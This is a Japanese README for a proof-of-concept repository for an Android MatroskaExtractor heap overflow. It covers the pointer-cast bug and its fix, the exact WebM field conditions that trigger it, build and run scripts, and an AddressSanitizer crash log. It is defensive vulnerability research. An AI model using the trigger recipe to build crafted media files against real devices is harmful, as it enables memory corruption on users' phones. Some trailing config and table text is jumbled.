
CVE-2026-28609の概念実証および計測可能な再現ハーネス。これはAndroidのMatroskaExtractorにおける境界外書き込みであり、ビッグエンディアンPCMオーディオトラックを含む細工されたWebMファイルを介して到達可能です。
CVE-2026-28609 の概念実証、計測可能な再現ハーネス、および技術解説。これは Android の MatroskaExtractor における境界外書き込みであり、ビッグエンディアンの PCM オーディオトラックを含む細工された WebM ファイルを介して到達可能です。
frameworks/av/media/module/extractors/mkv/MatroskaExtractor.cppAndroid の MatroskaExtractor 内の MatroskaSource::read() には、PCM ビッグエンディアンのバイトスワップループが含まれており、frame->range_offset()(バイトオフセット)を加算する前にフレームデータポインタを uint16_t * にキャストしています。uint16_t * に対する C のポインタ演算ではオフセットが sizeof(uint16_t) = 2 倍にスケールされるため、結果のポインタはバッファの先頭から range_offset バイトではなく 2 * range_offset バイト先を指します。
range_offset > 0 の場合、ループはフレームの MediaBuffer の終端を越えて1バイト以上を読み書きします。ASan のないデバイスでは、過剰読み取りは静かに成功し、過剰書き込みはバッファの直後のバイトを破壊します。
脆弱な行:
// MatroskaExtractor.cpp:1105 (pre-fix)
uint16_t *dstData = (uint16_t *)frame->data() + frame->range_offset();
uint16_t *srcData = (uint16_t *)frame->data() + frame->range_offset();
for (size_t i = 0; i < frame->range_length() / 2; i++) {
dstData[i] = ntohs(srcData[i]);
}
上流の修正では、オフセットを適用する前にポインタを uint8_t * にキャストしています:
uint16_t *data = (uint16_t *)((uint8_t *)frame->data() + frame->range_offset());
for (size_t i = 0; i < frame->range_length() / 2; i++) {
data[i] = ntohs(data[i]);
}
実際の Android 14 デバイス上で AddressSanitizer を用いて検証された、CVE-2026-28609 の動作する再現可能なトリガーです。リポジトリには以下が含まれます:
range_offset でエクストラクタを脆弱な分岐に導く WebM ファイルを生成する Python ジェネレータ。dlopen を介してエクストラクタプラグインをロードし、GETEXTRACTORDEF を呼び出し、ファイルからフレームを読み取る C-ABI ハーネス。脆弱なデバイスでの結果:
==14927==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 2 at 0x003c61ab3960 thread T0
#0 ... MatroskaSource::read(...) MatroskaExtractor.cpp:1113
0x003c61ab3961 is located 0 bytes after 65-byte region
脆弱な分岐は、以下のすべてが真であることを必要とします:
| 条件 | ソース |
|---|---|
最初の3つは、コーデック ID A_PCM/INT/BIG とビット深度 16 でトラックを宣言することで満たされます。4番目が興味深い点です。
range_offset は、readBlock() から以下の条件で呼び出される MatroskaSource::setWebmBlockCryptoInfo() においてのみ非ゼロ値に設定されます:
if (err == OK && mExtractor->mIsWebm && trackInfo->mEncrypted) {
err = setWebmBlockCryptoInfo(mbuf);
}
したがって、トリガーファイルは以下を満たす必要があります:
mIsWebm — EBML の DocType 要素が "matroska" ではなく "webm" でなければなりません。mEncrypted — トラックは ContentEncodingType = 1(暗号化)と ContentEncKeyID を持つ ContentEncodings を宣言する必要があります。0x1)が 0 のシグナルバイトでなければならず、これはフレームが暗号化されていないがコンテンツエンコードされていることを示します。これにより setWebmBlockCryptoInfo の else 分岐が実行され、set_range(1, len - 1) が呼び出されます。ストリップ後、すべてのフレームで range_offset = 1 になります。脆弱な分岐は (uint16_t *)data + 1 を計算し、これは 2 バイト進み、ループはバイト [2, 2 + range_length) を読み書きします — これは 65 バイトの割り当て(64 バイトのフレーム + 1 バイトのシグナル)の終端を1バイト超えています。
+---------+------------------------------------+
| 0x00 | 64 bytes of frame data (0xAA...) |
+---------+------------------------------------+
signal PCM payload
シグナルバイト 0x00 は set_range(1, 64) によってストリップされ、65 バイトの割り当て内に 64 バイトのフレームが残ります。脆弱なポインタ演算はその後、バイトオフセット 2 から 65 に書き込みます。
.
├── README.md
├── LICENSE
├── .gitignore
│
├── exploit/
│ └── generator.py WebM generator + verifier
│
├── harness/
│ └── harness_c_abi.cpp dlopen-based trigger harness
│
└── scripts/
├── build.conf API level, sanitizer, RTTI flags
├── include_dirs.conf.sample Include roots template
├── build_foundation.sh Build the foundation archive
├── build_plugin.sh Build the extractor plugin
├── build_harness.sh Build the harness
└── run.sh End-to-end build + push + run
ビルド前にユーザーがクローンする上流の依存関係:
av/ frameworks/av (AOSP)
libwebm/ external/libwebm (mkvparser)
flac/ external/flac
aosp-includes/ system/core, system/logging, system/libbase,
frameworks/native — header trees only
aosp-includes/libs/ libstagefright_foundation.so, libmedia.so,
libutils.so, libbinder.so, libcutils.so,
libbase.so, libmediandk.so, libstagefright_flacdec.so
— pulled from the target device
bash、python3、make を備えた Linux または WSL2$ANDROID_NDK_HOME で設定PATH 上の adb(Linux、または WSL からの adb.exe)mkdir -p deps && cd deps
# AOSP frameworks/av (contains the vulnerable extractor)
git clone --depth 1 -b android-14.0.0_r1 \
https://android.googlesource.com/platform/frameworks/av av
# libwebm (mkvparser)
git clone --depth 1 \
https://android.googlesource.com/platform/external/libwebm libwebm
# libFLAC
git clone --depth 1 \
https://android.googlesource.com/platform/external/flac flac
# AOSP header trees (no full checkout required)
mkdir -p aosp-includes
cd aosp-includes
for m in core libbase logging native; do
git clone --depth 1 \
"https://android.googlesource.com/platform/system/$m" "$m" 2>/dev/null || true
done
cd ../..
AOSP ツリーがモジュラーエクストラクタレイアウト(av/media/module/extractors/mkv/)を使用している場合、それ以上の調整は不要です。古いレイアウト(av/media/libstagefright/matroska/)を使用している場合は、MKV 変数についてビルドスクリプトを参照してください。
mkdir -p deps/aosp-includes/libs
for lib in libstagefright_foundation.so libstagefright_flacdec.so \
libmedia.so libutils.so libbinder.so libcutils.so \
libbase.so libmediandk.so; do
adb pull "/system/lib64/$lib" deps/aosp-includes/libs/
done
cp scripts/include_dirs.conf.sample scripts/include_dirs.conf
cp scripts/build.conf.sample scripts/build.conf # if provided separately
$EDITOR scripts/build.conf
ANDROID_API をターゲットデバイスに合わせて設定します(例: Android 14 の場合は 34)。
./scripts/run.sh
run.sh スクリプトは4つのステップを順に実行します:
build_foundation.sh — av/media/module/foundation/ と av/media/module/metadatautils/ から28個のソースファイルを plugin-asan/libstagefright_foundation_asan.a にコンパイルします。build_plugin.sh — MatroskaExtractor.cpp、mkvparser.cc、mkvreader.cc をコンパイルし、アーカイブとリンクして libmkvextractor_asan.so を作成します。build_harness.sh — harness_c_abi を -shared-libsan でコンパイルします。poc.mkv を /data/local/tmp にプッシュし、ハーネスを実行します。ビルドスクリプトは不足しているインクルードルートを自動検出します。コンパイラが fatal error: 'X' file not found を報告すると、スクリプトは依存関係ツリーを検索し、X の親ディレクトリを見つけて include_dirs.conf に追加します。これが最初のビルド中に include_dirs.conf が成長する理由です。すべてのヘッダーが検出されると、ファイルは安定し、以降のビルドは決定論的になります。
脆弱なデバイスでは、ハーネスは以下を出力します:
[+] loaded /data/local/tmp/libmkvextractor_asan.so
[+] plugin: Matroska Extractor uuid[0..3]=abbedd92 version=1 api=3
[+] sniffer confidence = 0.600
[+] tracks: 1
[*] track 0: start
[PCM] be=1 bpf=16 off=1 len=64 data=0x3c61ab3920
=================================================================
==14927==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x003c61ab3960 at pc 0x0071ecb0ec4c bp 0x007fe7ae1710 sp 0x007fe7ae1708
READ of size 2 at 0x003c61ab3960 thread T0
#0 0x71ecb0ec48 (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
#1 0x71ecb180c8 (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
#2 0x5861ac1ed0 (/data/local/tmp/harness_c_abi+0x3ed0)
#3 0x7279cf15b8 (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)
0x003c61ab3961 is located 0 bytes after 65-byte region [0x003c61ab3920,0x003c61ab3961)
allocated by thread T0 here:
#0 0x727c507668 (/data/local/tmp/libclang_rt.asan-aarch64-android.so+0xe4668) (BuildId: 163b9ff057b95542705e47bbc20f6f2ca91c5f58)
#1 0x5861ac26c0 (/data/local/tmp/harness_c_abi+0x46c0)
#2 0x71ecb15e7c (/data/local/tmp/libmkvextractor_asan.so+0xbee7c)
#3 0x71ecb0b50c (/data/local/tmp/libmkvextractor_asan.so+0xb450c)
#4 0x71ecb0d96c (/data/local/tmp/libmkvextractor_asan.so+0xb696c)
#5 0x71ecb180c8 (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
#6 0x5861ac1ed0 (/data/local/tmp/harness_c_abi+0x3ed0)
#7 0x7279cf15b8 (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)
#8 0x5861ac15f4 (/data/local/tmp/harness_c_abi+0x35f4)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
Shadow bytes around the buggy address:
0x003c61ab3680: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fa fa
0x003c61ab3700: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
0x003c61ab3780: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa
0x003c61ab3800: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 fa fa
0x003c61ab3880: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
=>0x003c61ab3900: fa fa fa fa 00 00 00 00 00 00 00 00[01]fa fa fa
0x003c61ab3980: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3a00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3a80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3b00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3b80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==14927==ABORTING
Aborted
3つの数値がトリガーを確認します:
WRITE of size 2(または、ASan が data[i] = ntohs(data[i]) の読み取り側を先に捕捉した場合は READ)65-byte region — フレームの割り当ては 64 データバイト + 1 バイトの暗号化シグナル0 bytes after — アクセスは割り当ての直後の最初のバイトに到達setWebmBlockCryptoInfo の分割暗号化パス(シグナルバイト 0x03)が必要ですが、これはこのジェネレータでは実行されません。/data/local/tmp の外側には何も触れません。プラグインはハーネスプロセスによってのみロードされます。ジェネレータには検証機能が組み込まれています。プッシュする前に実行してください:
python3 exploit/generator.py poc.mkv
期待される出力:
[verify] OK - webm DocType + Encryption ContentEncoding will
[verify] cause readBlock to strip the 1-byte signal via
[verify] set_range(1, len-1), setting range_offset=1
[verify] on every PCM frame. The uint16_t* cast in the
[verify] vulnerable branch then writes 2 bytes past the
[verify] end of the 64-byte frame buffer.
必要なすべてのフィールドがチェックされます: DocType、TrackType、CodecID、BitDepth、Channels、ContentEncodingType、ContentEncodingScope、ContentEncAlgo、ContentEncKeyID。いずれかのフィールドが間違っている場合、ジェネレータは FAIL で終了し、具体的な不一致を出力します。
| 日付 | イベント |
|---|---|
| 2026-03-02 | Google により CVE が予約される |
| 2026-09-08 | Android Security Bulletin で公開開示 |
| 2026-09-09 | LineageOS lineage-20.0 に修正がマージされる(change 497992) |
| 2026-09 | この PoC が開発され、実機で検証される |
このリポジトリは防御的セキュリティ研究および脆弱性検証のみを目的として公開されています。以下の用途を想定しています:
所有していないデバイス、またはテストに対する明示的な書面による許可を持たないデバイスでこのコードを使用しないでください。 自身のものではないデバイスでハーネスを実行したり、ジェネレータを使用して配布用のトリガーファイルを生成したりすることは、お住まいの管轄区域のコンピュータ不正使用法および GitHub の Acceptable Use Policy に違反する可能性があります。
著者は、この研究を悪意のある目的で使用することを容認しません。ジェネレータによって生成されるトリガーファイルは、AddressSanitizer 下で特定の関数をクラッシュさせるように設計されており、実行可能なペイロードを含まず、システムを変更せず、ハーネスプロセスを超えて永続化しません。
いかなる保証も提供されません。 コードは現状のまま提供されます。著者は、誤用または本番ハードウェアでのハーネス実行によって生じたいかなる損害についても責任を負いません。
ベンダーであり、このリポジトリに協調的開示の下で扱われるべき資料が含まれていると考える場合は、issue を開いてください。著者は 72 時間以内に対応します。
このプロジェクトは Apache-2.0 ライセンスの下でリリースされています。全文は LICENSE を参照してください。
Copyright © 2026 — the CVE-2026-28609 PoC contributors.
クローン後にこれを include_dirs.conf にリネームしてください。これはシードです。ビルドスクリプトは最初の実行中にこれを拡張します。
# include_dirs.conf
#
# Include directories for the CVE-2026-28609 plugin and harness builds.
# One path per line. Blank lines and lines starting with '#' are ignored.
# $ROOT expands to the project root (the directory containing scripts/).
#
# The build scripts extend this file automatically when they discover
# the parent directory of a missing header. Commit the extended version
# if you want reproducible builds.
$ROOT/av/include
$ROOT/av/media/ndk/include
$ROOT/av/media/libstagefright/include
$ROOT/av/media/module/foundation/include
$ROOT/av/media/module/extractors/mkv/include
$ROOT/av/media/module/codecs/flac/dec
$ROOT/libwebm
$ROOT/libwebm/mkvparser
$ROOT/flac/include
$ROOT/aosp-includes/core/libutils/include
$ROOT/aosp-includes/core/libcutils/include
$ROOT/aosp-includes/core/libcutils/include_outside_system
$ROOT/aosp-includes/core/include
$ROOT/aosp-includes/core/libsystem/include
$ROOT/aosp-includes/libbase/include
$ROOT/aosp-includes/native/include
$ROOT/aosp-includes/native/libs/binder/include
$ROOT/aosp-includes/native/libs/ui/include
$ROOT/aosp-includes/logging/liblog/include
scripts/build.conf.sampleクローン後に build.conf にリネームしてください。
# build.conf — build configuration for CVE-2026-28609 PoC
# Android API level. Must be >= 29. Match your target device.
ANDROID_API=34
# Enable AddressSanitizer.
ENABLE_ASAN=1
# Debug flags.
OPT_FLAGS="-O1 -g -fno-omit-frame-pointer"
# Match AOSP's libutils / libmedia / libstagefright build flags.
# Set to 1 unless you have a specific reason not to.
DISABLE_RTTI=1
DISABLE_EXCEPT
IONS=1
| トラックが PCM |
mType == PCM |
| ビッグエンディアン | AMEDIAFORMAT_KEY_PCM_BIG_ENDIAN == 1 |
| 16ビットサンプル | AMEDIAFORMAT_KEY_BITS_PER_SAMPLE == 16 |
フレームの range_offset が非ゼロ | set_range(offset, ...) によって設定 |